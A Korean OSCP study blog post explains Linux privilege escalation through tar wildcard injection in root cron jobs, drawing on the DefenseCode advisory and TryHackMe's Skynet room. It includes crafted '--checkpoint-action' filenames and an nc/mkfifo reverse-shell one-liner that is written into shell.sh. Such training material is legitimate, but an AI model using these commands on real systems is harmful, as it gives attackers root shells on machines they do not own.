OSCP/도구 개념 정리

Exploiting wildcards on Linux - 권한상승

우와해커 2020. 4. 24. 15:42

Exploiting wildcards on Linux 

 

* Cronjob이 관리자 권한으로 스크립트 실행할 때, tar 와일드카드 취약점을 콤보로 사용가능

관련작업: TryHackMe - Skynet

 

DefenseCode는 Leon Juranic 연구원이 Unix 명령에서 와일드 카드 사용과 관련된 보안 문제를 자세히 설명하는 권고를 발표했습니다. 이 주제는 과거에 전체 공개 메일 링리스트에서 논의되었는데, 일부 사람들은 이것을 버그보다는 기능으로 더 많이 보았습니다.

Juranic은 Linux / Unix 명령에 * 와일드 카드를 사용하는 실습으로 인한 위험을 강조하는 5 가지 실제 악용 사례를 제공했습니다.

chown, tar, rsync 등의 특정 옵션을 사용하여 이 문제가 나타날 수 있습니다.
특수하게 조작 된 파일 이름을 사용하여 공격자는 다른 사용자(루트포함)가 실행하는 셸 명령에 임의의 인수를 삽입 할 수 있습니다.
제공된 예제 중 하나는 tar 임의 명령 실행입니다. 바이너리에는 중독에 사용될 수 있는 두 가지 옵션이 있습니다.


–checkpoint [= NUMBER]
NUMBER 번째 레코드마다 진행 메시지 표시 (기본값 10)

 

–checkpoint-action = ACTION

각 체크 포인트에서 ACTION을 실행

 

이러한 옵션과 함께 tar를 사용하면 checkpoint 다음에 지정된 작업을 사용할 수 있습니다.
이 작업은 tar를 시작하는 사용자에서 임의의 명령을 실행하는데 사용될 수 있는 악의적인 셸 스크립트일 수 있습니다.
특정 옵션을 사용하기 위한 “속임수”는 매우 쉽고 와일드 카드가 유용한 곳입니다.
이러한 파일이 있는 폴더에서 tar cf archive.tar *를 실행하면 매우 간단합니다.


[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx——. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r–. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r–. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r–. 1 user user 187 Oct 28 17:44 db.php


사용자가 임의의 명령을 포함하는 몇 개의 가짜 파일과 셸 스크립트를 만든 경우 문제가 발생합니다.

[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx——. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r–. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r–. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r–. 1 user user 187 Oct 28 17:44 db.php
-rw-r–r–. 1 leon leon 0 Oct 28 19:19 –checkpoint=1
-rw-r–r–. 1 leon leon 0 Oct 28 19:17 –checkpoint-action=exec=sh shell.sh
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh


tar 명령에서 * 와일드 카드를 사용하면 이러한 파일은 tar 바이너리에 전달 된 옵션으로 이해되며 shell.sh가 루트로 실행됩니다.
아래 URL권고에는 다른 유사한 착취 방법이 자세히 설명되어 있습니다.

 

shell.sh 파일에는 (악용 수법 원하는 것 작성)
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

 

* mkfifo 는 특수 파일인 FIFO 파일을 만들기 위해서 사용되며, pathname 이름을 가지며 mode 의 권한을 가지는 FIFO 파일을 만들어낸다. 주로 IPC 용도로 사용된다.
FIFO 파일은 pipe 와 매우 비슷하지만, pipe 와 달리 이름있는 파일을 통해서 통신을 할수 있도록 해준다는 점이 다르다.
그러므로 관계없는 프로세스들이라고 할지라도 FIFO 파일이름만 알면 통신이 가능하도록 만들수 있다.
일단 FIFO 파일이 만들어지면 open, write, read 등의 표준 함수를 이용해서 보통의 파일처럼 접근이 가능하다.
FIFO 는 First In First Out 의 뜻을가진다. 먼저들어온 데이타가 먼저 나가는 queue 방식의 입/출력을 지원한다.

 


tar, Rsync wildcard exploit
https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
https://gtfobins.github.io/gtfobins/tar/
https://www.armourinfosec.com/linux-privilege-escalation-by-exploiting-cronjobs/

'OSCP > 도구 개념 정리' 카테고리의 다른 글

msfvenom  (0) 2020.05.02
32bit Windows From Fuzzing to Buffer Overflow  (0) 2020.04.28
Meterpreter  (0) 2020.04.13
Systemctl  (0) 2020.04.13
Nmap, Gobuster, JohnTheRipper  (0) 2020.04.13